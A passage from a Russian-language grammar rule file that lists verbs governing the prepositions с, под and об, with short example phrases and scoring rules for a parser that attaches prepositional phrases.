rus_verbs:УВОЛИТЬ{}, // рекомендовать уволить их с работы (УВОЛИТЬ С) rus_verbs:КУПИТЬ{}, // еда , купленная с рук (КУПИТЬ С род) rus_verbs:УБРАТЬ{}, // помочь убрать со стола? (УБРАТЬ С) rus_verbs:ТЯНУТЬ{}, // с моря тянуло ветром (ТЯНУТЬ С) rus_verbs:ПРИХОДИТЬ{}, // приходит с работы муж (ПРИХОДИТЬ С) rus_verbs:ПРОПАСТЬ{}, // изображение пропало с экрана (ПРОПАСТЬ С) rus_verbs:ПОТЯНУТЬ{}, // с балкона потянуло холодом (ПОТЯНУТЬ С род) rus_verbs:РАЗДАТЬСЯ{}, // с палубы раздался свист (РАЗДАТЬСЯ С род) rus_verbs:ЗАЙТИ{}, // зашел с другой стороны (ЗАЙТИ С род) rus_verbs:НАЧАТЬ{}, // давай начнем с этого (НАЧАТЬ С род) rus_verbs:УВЕСТИ{}, // дала увести с развалин (УВЕСТИ С род) rus_verbs:ОПУСКАТЬСЯ{}, // с гор опускалась ночь (ОПУСКАТЬСЯ С) rus_verbs:ВСКОЧИТЬ{}, // Тристан вскочил с места (ВСКОЧИТЬ С род) rus_verbs:БРАТЬ{}, // беру с него пример (БРАТЬ С род) rus_verbs:ПРИПОДНЯТЬСЯ{}, // голова приподнялась с плеча (ПРИПОДНЯТЬСЯ С род) rus_verbs:ПОЯВИТЬСЯ{}, // всадники появились с востока (ПОЯВИТЬСЯ С род) rus_verbs:НАЛЕТЕТЬ{}, // с моря налетел ветер (НАЛЕТЕТЬ С род) rus_verbs:ВЗВИТЬСЯ{}, // Натан взвился с места (ВЗВИТЬСЯ С род) rus_verbs:ПОДОБРАТЬ{}, // подобрал с земли копье (ПОДОБРАТЬ С) rus_verbs:ДЕРНУТЬСЯ{}, // Кирилл дернулся с места (ДЕРНУТЬСЯ С род) rus_verbs:ВОЗВРАЩАТЬСЯ{}, // они возвращались с реки (ВОЗВРАЩАТЬСЯ С род) rus_verbs:ПЛЫТЬ{}, // плыли они с запада (ПЛЫТЬ С род) rus_verbs:ЗНАТЬ{}, // одно знали с древности (ЗНАТЬ С) rus_verbs:НАКЛОНИТЬСЯ{}, // всадник наклонился с лошади (НАКЛОНИТЬСЯ С) rus_verbs:НАЧАТЬСЯ{}, // началось все со скуки (НАЧАТЬСЯ С) прилагательное:ИЗВЕСТНЫЙ{}, // Культура его известна со времен глубокой древности (ИЗВЕСТНЫЙ С) rus_verbs:СБИТЬ{}, // Порыв ветра сбил Ваньку с ног (ts СБИТЬ С) rus_verbs:СОБИРАТЬСЯ{}, // они собираются сюда со всей равнины. (СОБИРАТЬСЯ С род) rus_verbs:смыть{}, // Дождь должен смыть с листьев всю пыль. (СМЫТЬ С) rus_verbs:привстать{}, // Мартин привстал со своего стула. (привстать с) rus_verbs:спасть{}, // тяжесть спала с души. (спасть с) rus_verbs:выглядеть{}, // так оно со стороны выглядело. (ВЫГЛЯДЕТЬ С) rus_verbs:повернуть{}, // к вечеру они повернули с нее направо. (ПОВЕРНУТЬ С) rus_verbs:ТЯНУТЬСЯ{}, // со стороны реки ко мне тянулись языки тумана. (ТЯНУТЬСЯ С) rus_verbs:ВОЕВАТЬ{}, // Генерал воевал с юных лет. (ВОЕВАТЬ С чего-то) rus_verbs:БОЛЕТЬ{}, // Голова болит с похмелья. (БОЛЕТЬ С) rus_verbs:приближаться{}, // со стороны острова приближалась лодка. rus_verbs:ПОТЯНУТЬСЯ{}, // со всех сторон к нему потянулись руки. (ПОТЯНУТЬСЯ С) rus_verbs:пойти{}, // низкий гул пошел со стороны долины. (пошел с) rus_verbs:зашевелиться{}, // со всех сторон зашевелились кусты. (зашевелиться с) rus_verbs:МЧАТЬСЯ{}, // со стороны леса мчались всадники. (МЧАТЬСЯ С) rus_verbs:БЕЖАТЬ{}, // люди бежали со всех ног. (БЕЖАТЬ С) rus_verbs:СЛЫШАТЬСЯ{}, // шум слышался со стороны моря. (СЛЫШАТЬСЯ С) rus_verbs:ЛЕТЕТЬ{}, // со стороны деревни летела птица. (ЛЕТЕТЬ С) rus_verbs:ПЕРЕТЬ{}, // враги прут со всех сторон. (ПЕРЕТЬ С) rus_verbs:ПОСЫПАТЬСЯ{}, // вопросы посыпались со всех сторон. (ПОСЫПАТЬСЯ С) rus_verbs:ИДТИ{}, // угроза шла со стороны моря. (ИДТИ С + род.п.) rus_verbs:ПОСЛЫШАТЬСЯ{}, // со стен послышались крики ужаса. (ПОСЛЫШАТЬСЯ С) rus_verbs:ОБРУШИТЬСЯ{}, // звуки обрушились со всех сторон. (ОБРУШИТЬСЯ С) rus_verbs:УДАРИТЬ{}, // голоса ударили со всех сторон. (УДАРИТЬ С) rus_verbs:ПОКАЗАТЬСЯ{}, // со стороны деревни показались земляне. (ПОКАЗАТЬСЯ С) rus_verbs:прыгать{}, // придется прыгать со второго этажа. (прыгать с) rus_verbs:СТОЯТЬ{}, // со всех сторон стоял лес. (СТОЯТЬ С) rus_verbs:доноситься{}, // шум со двора доносился чудовищный. (доноситься с) rus_verbs:мешать{}, // мешать воду с мукой (мешать с) rus_verbs:вестись{}, // Переговоры ведутся с позиции силы. (вестись с) rus_verbs:вставать{}, // Он не встает с кровати. (вставать с) rus_verbs:окружать{}, // зеленые щупальца окружали ее со всех сторон. (окружать с) rus_verbs:причитаться{}, // С вас причитается 50 рублей. rus_verbs:соскользнуть{}, // его острый клюв соскользнул с ее руки. rus_verbs:сократить{}, // Его сократили со службы. rus_verbs:поднять{}, // рука подняла с пола rus_verbs:поднимать{}, rus_verbs:тащить{}, // тем временем другие пришельцы тащили со всех сторон камни. rus_verbs:полететь{}, // Мальчик полетел с лестницы. rus_verbs:литься{}, // вода льется с неба rus_verbs:натечь{}, // натечь с сапог rus_verbs:спрыгивать{}, // спрыгивать с движущегося трамвая rus_verbs:съезжать{}, // съезжать с заявленной темы rus_verbs:покатываться{}, // покатываться со смеху rus_verbs:перескакивать{}, // перескакивать с одного примера на другой rus_verbs:сдирать{}, // сдирать с тела кожу rus_verbs:соскальзывать{}, // соскальзывать с крючка rus_verbs:сметать{}, // сметать с прилавков rus_verbs:кувыркнуться{}, // кувыркнуться со ступеньки rus_verbs:прокаркать{}, // прокаркать с ветки rus_verbs:стряхивать{}, // стряхивать с одежды rus_verbs:сваливаться{}, // сваливаться с лестницы rus_verbs:слизнуть{}, // слизнуть с лица rus_verbs:доставляться{}, // доставляться с фермы rus_verbs:обступать{}, // обступать с двух сторон rus_verbs:повскакивать{}, // повскакивать с мест rus_verbs:обозревать{}, // обозревать с вершины rus_verbs:слинять{}, // слинять с урока rus_verbs:смывать{}, // смывать с лица rus_verbs:спихнуть{}, // спихнуть со стола rus_verbs:обозреть{}, // обозреть с вершины rus_verbs:накупить{}, // накупить с рук rus_verbs:схлынуть{}, // схлынуть с берега rus_verbs:спикировать{}, // спикировать с километровой высоты rus_verbs:уползти{}, // уползти с поля боя rus_verbs:сбиваться{}, // сбиваться с пути rus_verbs:отлучиться{}, // отлучиться с поста rus_verbs:сигануть{}, // сигануть с крыши rus_verbs:сместить{}, // сместить с поста rus_verbs:списать{}, // списать с оригинального устройства инфинитив:слетать{ вид:несоверш }, глагол:слетать{ вид:несоверш }, // слетать с трассы деепричастие:слетая{}, rus_verbs:напиваться{}, // напиваться с горя rus_verbs:свесить{}, // свесить с крыши rus_verbs:заполучить{}, // заполучить со склада rus_verbs:спадать{}, // спадать с глаз rus_verbs:стартовать{}, // стартовать с мыса rus_verbs:спереть{}, // спереть со склада rus_verbs:согнать{}, // согнать с живота rus_verbs:скатываться{}, // скатываться со стога rus_verbs:сняться{}, // сняться с выборов rus_verbs:слезать{}, // слезать со стола rus_verbs:деваться{}, // деваться с подводной лодки rus_verbs:огласить{}, // огласить с трибуны rus_verbs:красть{}, // красть со склада rus_verbs:расширить{}, // расширить с торца rus_verbs:угадывать{}, // угадывать с полуслова rus_verbs:оскорбить{}, // оскорбить со сцены rus_verbs:срывать{}, // срывать с головы rus_verbs:сшибить{}, // сшибить с коня rus_verbs:сбивать{}, // сбивать с одежды rus_verbs:содрать{}, // содрать с посетителей rus_verbs:столкнуть{}, // столкнуть с горы rus_verbs:отряхнуть{}, // отряхнуть с одежды rus_verbs:сбрасывать{}, // сбрасывать с борта rus_verbs:расстреливать{}, // расстреливать с борта вертолета rus_verbs:придти{}, // мать скоро придет с работы rus_verbs:съехать{}, // Миша съехал с горки rus_verbs:свисать{}, // свисать с веток rus_verbs:стянуть{}, // стянуть с кровати rus_verbs:скинуть{}, // скинуть снег с плеча rus_verbs:загреметь{}, // загреметь со стула rus_verbs:сыпаться{}, // сыпаться с неба rus_verbs:стряхнуть{}, // стряхнуть с головы rus_verbs:сползти{}, // сползти со стула rus_verbs:стереть{}, // стереть с экрана rus_verbs:прогнать{}, // прогнать с фермы rus_verbs:смахнуть{}, // смахнуть со стола rus_verbs:спускать{}, // спускать с поводка rus_verbs:деться{}, // деться с подводной лодки rus_verbs:сдернуть{}, // сдернуть с себя rus_verbs:сдвинуться{}, // сдвинуться с места rus_verbs:слететь{}, // слететь с катушек rus_verbs:обступить{}, // обступить со всех сторон rus_verbs:снести{}, // снести с плеч инфинитив:сбегать{ вид:несоверш }, глагол:сбегать{ вид:несоверш }, // сбегать с уроков деепричастие:сбегая{}, прилагательное:сбегающий{}, // прилагательное:сбегавший{ вид:несоверш }, rus_verbs:запить{}, // запить с горя rus_verbs:рубануть{}, // рубануть с плеча rus_verbs:чертыхнуться{}, // чертыхнуться с досады rus_verbs:срываться{}, // срываться с цепи rus_verbs:смыться{}, // смыться с уроков rus_verbs:похитить{}, // похитить со склада rus_verbs:смести{}, // смести со своего пути rus_verbs:отгружать{}, // отгружать со склада rus_verbs:отгрузить{}, // отгрузить со склада rus_verbs:бросаться{}, // Дети бросались в воду с моста rus_verbs:броситься{}, // самоубийца бросился с моста в воду rus_verbs:взимать{}, // Билетер взимает плату с каждого посетителя rus_verbs:взиматься{}, // Плата взимается с любого посетителя rus_verbs:взыскать{}, // Приставы взыскали долг с бедолаги rus_verbs:взыскивать{}, // Приставы взыскивают с бедолаги все долги rus_verbs:взыскиваться{}, // Долги взыскиваются с алиментщиков rus_verbs:вспархивать{}, // вспархивать с цветка rus_verbs:вспорхнуть{}, // вспорхнуть с ветки rus_verbs:выбросить{}, // выбросить что-то с балкона rus_verbs:выводить{}, // выводить с одежды пятна rus_verbs:снять{}, // снять с головы rus_verbs:начинать{}, // начинать с эскиза rus_verbs:двинуться{}, // двинуться с места rus_verbs:начинаться{}, // начинаться с гардероба rus_verbs:стечь{}, // стечь с крыши rus_verbs:слезть{}, // слезть с кучи rus_verbs:спуститься{}, // спуститься с крыши rus_verbs:сойти{}, // сойти с пьедестала rus_verbs:свернуть{}, // свернуть с пути rus_verbs:сорвать{}, // сорвать с цепи rus_verbs:сорваться{}, // сорваться с поводка rus_verbs:тронуться{}, // тронуться с места rus_verbs:угадать{}, // угадать с первой попытки rus_verbs:спустить{}, // спустить с лестницы rus_verbs:соскочить{}, // соскочить с крючка rus_verbs:сдвинуть{}, // сдвинуть с места rus_verbs:подниматься{}, // туман, поднимающийся с болота rus_verbs:подняться{}, // туман, поднявшийся с болота rus_verbs:валить{}, // Резкий порывистый ветер валит прохожих с ног. rus_verbs:свалить{}, // Резкий порывистый ветер свалит тебя с ног. rus_verbs:донестись{}, // С улицы донесся шум дождя. rus_verbs:опасть{}, // Опавшие с дерева листья. rus_verbs:махнуть{}, // Он махнул с берега в воду. rus_verbs:исчезнуть{}, // исчезнуть с экрана rus_verbs:свалиться{}, // свалиться со сцены rus_verbs:упасть{}, // упасть с дерева rus_verbs:вернуться{}, // Он ещё не вернулся с работы. rus_verbs:сдувать{}, // сдувать пух с одуванчиков rus_verbs:свергать{}, // свергать царя с трона rus_verbs:сбиться{}, // сбиться с пути rus_verbs:стирать{}, // стирать тряпкой надпись с доски rus_verbs:убирать{}, // убирать мусор c пола rus_verbs:удалять{}, // удалять игрока с поля rus_verbs:окружить{}, // Япония окружена со всех сторон морями. rus_verbs:снимать{}, // Я снимаю с себя всякую ответственность за его поведение. глагол:писаться{ aux stress="пис^аться" }, // Собственные имена пишутся с большой буквы. прилагательное:спокойный{}, // С этой стороны я спокоен. rus_verbs:спросить{}, // С тебя за всё спросят. rus_verbs:течь{}, // С него течёт пот. rus_verbs:дуть{}, // С моря дует ветер. rus_verbs:капать{}, // С его лица капали крупные капли пота. rus_verbs:опустить{}, // Она опустила ребёнка с рук на пол. rus_verbs:спрыгнуть{}, // Она легко спрыгнула с коня. rus_verbs:встать{}, // Все встали со стульев. rus_verbs:сбросить{}, // Войдя в комнату, он сбросил с себя пальто. rus_verbs:взять{}, // Возьми книгу с полки. rus_verbs:спускаться{}, // Мы спускались с горы. rus_verbs:уйти{}, // Он нашёл себе заместителя и ушёл со службы. rus_verbs:порхать{}, // Бабочка порхает с цветка на цветок. rus_verbs:отправляться{}, // Ваш поезд отправляется со второй платформы. rus_verbs:двигаться{}, // Он не двигался с места. rus_verbs:отходить{}, // мой поезд отходит с первого пути rus_verbs:попасть{}, // Майкл попал в кольцо с десятиметровой дистанции rus_verbs:падать{}, // снег падает с ветвей rus_verbs:скрыться{} // Ее водитель, бросив машину, скрылся с места происшествия. } fact гл_предл { if context { Гл_С_Род предлог:с{} @regex("[a-z]+[0-9]*") } then return true } fact гл_предл { if context { Гл_С_Род предлог:с{} *:*{падеж:род} } then return true } fact гл_предл { if context { Гл_С_Род предлог:с{} *:*{падеж:парт} } then return true } #endregion РОДИТЕЛЬНЫЙ fact гл_предл { if context { * предлог:с{} *:*{ падеж:твор } } then return false,-3 } fact гл_предл { if context { * предлог:с{} *:*{ падеж:род } } then return false,-4 } fact гл_предл { if context { * предлог:с{} * } then return false,-5 } #endregion Предлог_С /* #region Предлог_ПОД // -------------- ПРЕДЛОГ 'ПОД' ----------------------- fact гл_предл { if context { * предлог:под{} @regex("[a-z]+[0-9]*") } then return true } // ПОД+вин.п. не может присоединяться к существительным, поэтому // он присоединяется к любым глаголам. fact гл_предл { if context { * предлог:под{} *:*{ падеж:вин } } then return true } wordentry_set Гл_ПОД_твор= { rus_verbs:извиваться{}, // извивалась под его длинными усами rus_verbs:РАСПРОСТРАНЯТЬСЯ{}, // Под густым ковром травы и плотным сплетением корней (РАСПРОСТРАНЯТЬСЯ) rus_verbs:БРОСИТЬ{}, // чтобы ты его под деревом бросил? (БРОСИТЬ) rus_verbs:БИТЬСЯ{}, // под моей щекой сильно билось его сердце (БИТЬСЯ) rus_verbs:ОПУСТИТЬСЯ{}, // глаза его опустились под ее желтым взглядом (ОПУСТИТЬСЯ) rus_verbs:ВЗДЫМАТЬСЯ{}, // его грудь судорожно вздымалась под ее рукой (ВЗДЫМАТЬСЯ) rus_verbs:ПРОМЧАТЬСЯ{}, // Она промчалась под ними и исчезла за изгибом горы. (ПРОМЧАТЬСЯ) rus_verbs:всплыть{}, // Наконец он всплыл под нависавшей кормой, так и не отыскав того, что хотел. (всплыть) rus_verbs:КОНЧАТЬСЯ{}, // Он почти вертикально уходит в реку и кончается глубоко под водой. (КОНЧАТЬСЯ) rus_verbs:ПОЛЗТИ{}, // Там они ползли под спутанным терновником и сквозь переплетавшиеся кусты (ПОЛЗТИ) rus_verbs:ПРОХОДИТЬ{}, // Вольф проходил под гигантскими ветвями деревьев и мхов, свисавших с ветвей зелеными водопадами. (ПРОХОДИТЬ, ПРОПОЛЗТИ, ПРОПОЛЗАТЬ) rus_verbs:ПРОПОЛЗТИ{}, // rus_verbs:ПРОПОЛЗАТЬ{}, // rus_verbs:ИМЕТЬ{}, // Эти предположения не имеют под собой никакой почвы (ИМЕТЬ) rus_verbs:НОСИТЬ{}, // она носит под сердцем ребенка (НОСИТЬ) rus_verbs:ПАСТЬ{}, // Рим пал под натиском варваров (ПАСТЬ) rus_verbs:УТОНУТЬ{}, // Выступавшие старческие вены снова утонули под гладкой твердой плотью. (УТОНУТЬ) rus_verbs:ВАЛЯТЬСЯ{}, // Под его кривыми серыми ветвями и пестрыми коричнево-зелеными листьями валялись пустые ореховые скорлупки и сердцевины плодов. (ВАЛЯТЬСЯ) rus_verbs:вздрогнуть{}, // она вздрогнула под его взглядом rus_verbs:иметься{}, // у каждого под рукой имелся арбалет rus_verbs:ЖДАТЬ{}, // Сашка уже ждал под дождем (ЖДАТЬ) rus_verbs:НОЧЕВАТЬ{}, // мне приходилось ночевать под открытым небом (НОЧЕВАТЬ) rus_verbs:УЗНАТЬ{}, // вы должны узнать меня под этим именем (УЗНАТЬ) rus_verbs:ЗАДЕРЖИВАТЬСЯ{}, // мне нельзя задерживаться под землей! (ЗАДЕРЖИВАТЬСЯ) rus_verbs:ПОГИБНУТЬ{}, // под их копытами погибли целые армии! (ПОГИБНУТЬ) rus_verbs:РАЗДАВАТЬСЯ{}, // под ногами у меня раздавался сухой хруст (РАЗДАВАТЬСЯ) rus_verbs:КРУЖИТЬСЯ{}, // поверхность планеты кружилась у него под ногами (КРУЖИТЬСЯ) rus_verbs:ВИСЕТЬ{}, // под глазами у него висели тяжелые складки кожи (ВИСЕТЬ) rus_verbs:содрогнуться{}, // содрогнулся под ногами каменный пол (СОДРОГНУТЬСЯ) rus_verbs:СОБИРАТЬСЯ{}, // темнота уже собиралась под деревьями (СОБИРАТЬСЯ) rus_verbs:УПАСТЬ{}, // толстяк упал под градом ударов (УПАСТЬ) rus_verbs:ДВИНУТЬСЯ{}, // лодка двинулась под водой (ДВИНУТЬСЯ) rus_verbs:ЦАРИТЬ{}, // под его крышей царила холодная зима (ЦАРИТЬ) rus_verbs:ПРОВАЛИТЬСЯ{}, // под копытами его лошади провалился мост (ПРОВАЛИТЬСЯ ПОД твор) rus_verbs:ЗАДРОЖАТЬ{}, // земля задрожала под ногами (ЗАДРОЖАТЬ) rus_verbs:НАХМУРИТЬСЯ{}, // государь нахмурился под маской (НАХМУРИТЬСЯ) rus_verbs:РАБОТАТЬ{}, // работать под угрозой нельзя (РАБОТАТЬ) rus_verbs:ШЕВЕЛЬНУТЬСЯ{}, // под ногой шевельнулся камень (ШЕВЕЛЬНУТЬСЯ) rus_verbs:ВИДЕТЬ{}, // видел тебя под камнем. (ВИДЕТЬ) rus_verbs:ОСТАТЬСЯ{}, // второе осталось под водой (ОСТАТЬСЯ) rus_verbs:КИПЕТЬ{}, // вода кипела под копытами (КИПЕТЬ) rus_verbs:СИДЕТЬ{}, // может сидит под деревом (СИДЕТЬ) rus_verbs:МЕЛЬКНУТЬ{}, // под нами мелькнуло море (МЕЛЬКНУТЬ) rus_verbs:ПОСЛЫШАТЬСЯ{}, // под окном послышался шум (ПОСЛЫШАТЬСЯ) rus_verbs:ТЯНУТЬСЯ{}, // под нами тянулись облака (ТЯНУТЬСЯ) rus_verbs:ДРОЖАТЬ{}, // земля дрожала под ним (ДРОЖАТЬ) rus_verbs:ПРИЙТИСЬ{}, // хуже пришлось под землей (ПРИЙТИСЬ) rus_verbs:ГОРЕТЬ{}, // лампа горела под потолком (ГОРЕТЬ) rus_verbs:ПОЛОЖИТЬ{}, // положил под деревом плащ (ПОЛОЖИТЬ) rus_verbs:ЗАГОРЕТЬСЯ{}, // под деревьями загорелся костер (ЗАГОРЕТЬСЯ) rus_verbs:ПРОНОСИТЬСЯ{}, // под нами проносились крыши (ПРОНОСИТЬСЯ) rus_verbs:ПОТЯНУТЬСЯ{}, // под кораблем потянулись горы (ПОТЯНУТЬСЯ) rus_verbs:БЕЖАТЬ{}, // беги под серой стеной ночи (БЕЖАТЬ) rus_verbs:РАЗДАТЬСЯ{}, // под окном раздалось тяжелое дыхание (РАЗДАТЬСЯ) rus_verbs:ВСПЫХНУТЬ{}, // под потолком вспыхнула яркая лампа (ВСПЫХНУТЬ) rus_verbs:СМОТРЕТЬ{}, // просто смотрите под другим углом (СМОТРЕТЬ ПОД) rus_verbs:ДУТЬ{}, // теперь под деревьями дул ветерок (ДУТЬ) rus_verbs:СКРЫТЬСЯ{}, // оно быстро скрылось под водой (СКРЫТЬСЯ ПОД) rus_verbs:ЩЕЛКНУТЬ{}, // далеко под ними щелкнул выстрел (ЩЕЛКНУТЬ) rus_verbs:ТРЕЩАТЬ{}, // осколки стекла трещали под ногами (ТРЕЩАТЬ) rus_verbs:РАСПОЛАГАТЬСЯ{}, // под ними располагались разноцветные скамьи (РАСПОЛАГАТЬСЯ) rus_verbs:ВЫСТУПИТЬ{}, // под ногтями выступили капельки крови (ВЫСТУПИТЬ) rus_verbs:НАСТУПИТЬ{}, // под куполом базы наступила тишина (НАСТУПИТЬ) rus_verbs:ОСТАНОВИТЬСЯ{}, // повозка остановилась под самым окном (ОСТАНОВИТЬСЯ) rus_verbs:РАСТАЯТЬ{}, // магазин растаял под ночным дождем (РАСТАЯТЬ) rus_verbs:ДВИГАТЬСЯ{}, // под водой двигалось нечто огромное (ДВИГАТЬСЯ) rus_verbs:БЫТЬ{}, // под снегом могут быть трещины (БЫТЬ) rus_verbs:ЗИЯТЬ{}, // под ней зияла ужасная рана (ЗИЯТЬ) rus_verbs:ЗАЗВОНИТЬ{}, // под рукой водителя зазвонил телефон (ЗАЗВОНИТЬ) rus_verbs:ПОКАЗАТЬСЯ{}, // внезапно под ними показалась вода (ПОКАЗАТЬСЯ) rus_verbs:ЗАМЕРЕТЬ{}, // эхо замерло под высоким потолком (ЗАМЕРЕТЬ) rus_verbs:ПОЙТИ{}, // затем под кораблем пошла пустыня (ПОЙТИ) rus_verbs:ДЕЙСТВОВАТЬ{}, // боги всегда действуют под маской (ДЕЙСТВОВАТЬ) rus_verbs:БЛЕСТЕТЬ{}, // мокрый мех блестел под луной (БЛЕСТЕТЬ) rus_verbs:ЛЕТЕТЬ{}, // под ним летела серая земля (ЛЕТЕТЬ) rus_verbs:СОГНУТЬСЯ{}, // содрогнулся под ногами каменный пол (СОГНУТЬСЯ) rus_verbs:КИВНУТЬ{}, // четвертый слегка кивнул под капюшоном (КИВНУТЬ) rus_verbs:УМЕРЕТЬ{}, // колдун умер под грудой каменных глыб (УМЕРЕТЬ) rus_verbs:ОКАЗЫВАТЬСЯ{}, // внезапно под ногами оказывается знакомая тропинка (ОКАЗЫВАТЬСЯ) rus_verbs:ИСЧЕЗАТЬ{}, // серая лента дороги исчезала под воротами (ИСЧЕЗАТЬ) rus_verbs:СВЕРКНУТЬ{}, // голубые глаза сверкнули под густыми бровями (СВЕРКНУТЬ) rus_verbs:СИЯТЬ{}, // под ним сияла белая пелена облаков (СИЯТЬ) rus_verbs:ПРОНЕСТИСЬ{}, // тихий смех пронесся под куполом зала (ПРОНЕСТИСЬ) rus_verbs:СКОЛЬЗИТЬ{}, // обломки судна медленно скользили под ними (СКОЛЬЗИТЬ) rus_verbs:ВЗДУТЬСЯ{}, // под серой кожей вздулись шары мускулов (ВЗДУТЬСЯ) rus_verbs:ПРОЙТИ{}, // обломок отлично пройдет под колесами слева (ПРОЙТИ) rus_verbs:РАЗВЕВАТЬСЯ{}, // светлые волосы развевались под дыханием ветра (РАЗВЕВАТЬСЯ) rus_verbs:СВЕРКАТЬ{}, // глаза огнем сверкали под темными бровями (СВЕРКАТЬ) rus_verbs:КАЗАТЬСЯ{}, // деревянный док казался очень твердым под моими ногами (КАЗАТЬСЯ) rus_verbs:ПОСТАВИТЬ{}, // четвертый маг торопливо поставил под зеркалом широкую чашу (ПОСТАВИТЬ) rus_verbs:ОСТАВАТЬСЯ{}, // запасы остаются под давлением (ОСТАВАТЬСЯ ПОД) rus_verbs:ПЕТЬ{}, // просто мы под землей любим петь. (ПЕТЬ ПОД) rus_verbs:ПОЯВИТЬСЯ{}, // под их крыльями внезапно появился дым. (ПОЯВИТЬСЯ ПОД) rus_verbs:ОКАЗАТЬСЯ{}, // мы снова оказались под солнцем. (ОКАЗАТЬСЯ ПОД) rus_verbs:ПОДХОДИТЬ{}, // мы подходили под другим углом? (ПОДХОДИТЬ ПОД) rus_verbs:СКРЫВАТЬСЯ{}, // кто под ней скрывается? (СКРЫВАТЬСЯ ПОД) rus_verbs:ХЛЮПАТЬ{}, // под ногами Аллы хлюпала грязь (ХЛЮПАТЬ ПОД) rus_verbs:ШАГАТЬ{}, // их отряд весело шагал под дождем этой музыки. (ШАГАТЬ ПОД) rus_verbs:ТЕЧЬ{}, // под ее поверхностью медленно текла ярость. (ТЕЧЬ ПОД твор) rus_verbs:ОЧУТИТЬСЯ{}, // мы очутились под стенами замка. (ОЧУТИТЬСЯ ПОД) rus_verbs:ПОБЛЕСКИВАТЬ{}, // их латы поблескивали под солнцем. (ПОБЛЕСКИВАТЬ ПОД) rus_verbs:ДРАТЬСЯ{}, // под столами дрались за кости псы. (ДРАТЬСЯ ПОД) rus_verbs:КАЧНУТЬСЯ{}, // палуба качнулась у нас под ногами. (КАЧНУЛАСЬ ПОД) rus_verbs:ПРИСЕСТЬ{}, // конь даже присел под тяжелым телом. (ПРИСЕСТЬ ПОД) rus_verbs:ЖИТЬ{}, // они живут под землей. (ЖИТЬ ПОД) rus_verbs:ОБНАРУЖИТЬ{}, // вы можете обнаружить ее под водой? (ОБНАРУЖИТЬ ПОД) rus_verbs:ПЛЫТЬ{}, // Орёл плывёт под облаками. (ПЛЫТЬ ПОД) rus_verbs:ИСЧЕЗНУТЬ{}, // потом они исчезли под водой. (ИСЧЕЗНУТЬ ПОД) rus_verbs:держать{}, // оружие все держали под рукой. (держать ПОД) rus_verbs:ВСТРЕТИТЬСЯ{}, // они встретились под водой. (ВСТРЕТИТЬСЯ ПОД) rus_verbs:уснуть{}, // Миша уснет под одеялом rus_verbs:пошевелиться{}, // пошевелиться под одеялом rus_verbs:задохнуться{}, // задохнуться под слоем снега rus_verbs:потечь{}, // потечь под избыточным давлением rus_verbs:уцелеть{}, // уцелеть под завалами rus_verbs:мерцать{}, // мерцать под лучами софитов rus_verbs:поискать{}, // поискать под кроватью rus_verbs:гудеть{}, // гудеть под нагрузкой rus_verbs:посидеть{}, // посидеть под навесом rus_verbs:укрыться{}, // укрыться под навесом rus_verbs:утихнуть{}, // утихнуть под одеялом rus_verbs:заскрипеть{}, // заскрипеть под тяжестью rus_verbs:шелохнуться{}, // шелохнуться под одеялом инфинитив:срезать{ вид:несоверш }, глагол:срезать{ вид:несоверш }, // срезать под корень деепричастие:срезав{}, прилагательное:срезающий{ вид:несоверш }, инфинитив:срезать{ вид:соверш }, глагол:срезать{ вид:соверш }, деепричастие:срезая{}, прилагательное:срезавший{ вид:соверш }, rus_verbs:пониматься{}, // пониматься под успехом rus_verbs:подразумеваться{}, // подразумеваться под правильным решением rus_verbs:промокнуть{}, // промокнуть под проливным дождем rus_verbs:засосать{}, // засосать под ложечкой rus_verbs:подписаться{}, // подписаться под воззванием rus_verbs:укрываться{}, // укрываться под навесом rus_verbs:запыхтеть{}, // запыхтеть под одеялом rus_verbs:мокнуть{}, // мокнуть под лождем rus_verbs:сгибаться{}, // сгибаться под тяжестью снега rus_verbs:намокнуть{}, // намокнуть под дождем rus_verbs:подписываться{}, // подписываться под обращением rus_verbs:тарахтеть{}, // тарахтеть под окнами инфинитив:находиться{вид:несоверш}, глагол:находиться{вид:несоверш}, // Она уже несколько лет находится под наблюдением врача. деепричастие:находясь{}, прилагательное:находившийся{вид:несоверш}, прилагательное:находящийся{}, rus_verbs:лежать{}, // лежать под капельницей rus_verbs:вымокать{}, // вымокать под дождём rus_verbs:вымокнуть{}, // вымокнуть под дождём rus_verbs:проворчать{}, // проворчать под нос rus_verbs:хмыкнуть{}, // хмыкнуть под нос rus_verbs:отыскать{}, // отыскать под кроватью rus_verbs:дрогнуть{}, // дрогнуть под ударами rus_verbs:проявляться{}, // проявляться под нагрузкой rus_verbs:сдержать{}, // сдержать под контролем rus_verbs:ложиться{}, // ложиться под клиента rus_verbs:таять{}, // таять под весенним солнцем rus_verbs:покатиться{}, // покатиться под откос rus_verbs:лечь{}, // он лег под навесом rus_verbs:идти{}, // идти под дождем прилагательное:известный{}, // Он известен под этим именем. rus_verbs:стоять{}, // Ящик стоит под столом. rus_verbs:отступить{}, // Враг отступил под ударами наших войск. rus_verbs:царапаться{}, // Мышь царапается под полом. rus_verbs:спать{}, // заяц спокойно спал у себя под кустом rus_verbs:загорать{}, // мы загораем под солнцем ГЛ_ИНФ(мыть), // мыть руки под струёй воды ГЛ_ИНФ(закопать), ГЛ_ИНФ(спрятать), ГЛ_ИНФ(прятать), ГЛ_ИНФ(перепрятать) } fact гл_предл { if context { Гл_ПОД_твор предлог:под{} *:*{ падеж:твор } } then return true } // для глаголов вне списка - запрещаем. fact гл_предл { if context { * предлог:под{} *:*{ падеж:твор } } then return false,-10 } fact гл_предл { if context { * предлог:под{} *:*{} } then return false,-11 } #endregion Предлог_ПОД */ #region Предлог_ОБ // -------------- ПРЕДЛОГ 'ОБ' ----------------------- wordentry_set Гл_ОБ_предл= { rus_verbs:СВИДЕТЕЛЬСТВОВАТЬ{}, // Об их присутствии свидетельствовало лишь тусклое пурпурное пятно, проступавшее на камне. (СВИДЕТЕЛЬСТВОВАТЬ) rus_verbs:ЗАДУМАТЬСЯ{}, // Промышленные гиганты задумались об экологии (ЗАДУМАТЬСЯ) rus_verbs:СПРОСИТЬ{}, // Он спросил нескольких из пляжников об их кажущейся всеобщей юности. (СПРОСИТЬ) rus_verbs:спрашивать{}, // как ты можешь еще спрашивать у меня об этом? rus_verbs:забывать{}, // Мы не можем забывать об их участи. rus_verbs:ГАДАТЬ{}, // теперь об этом можно лишь гадать (ГАДАТЬ) rus_verbs:ПОВЕДАТЬ{}, // Градоначальник , выступая с обзором основных городских событий , поведал об этом депутатам (ПОВЕДАТЬ ОБ) rus_verbs:СООБЩИТЬ{}, // Иран сообщил МАГАТЭ об ускорении обогащения урана (СООБЩИТЬ) 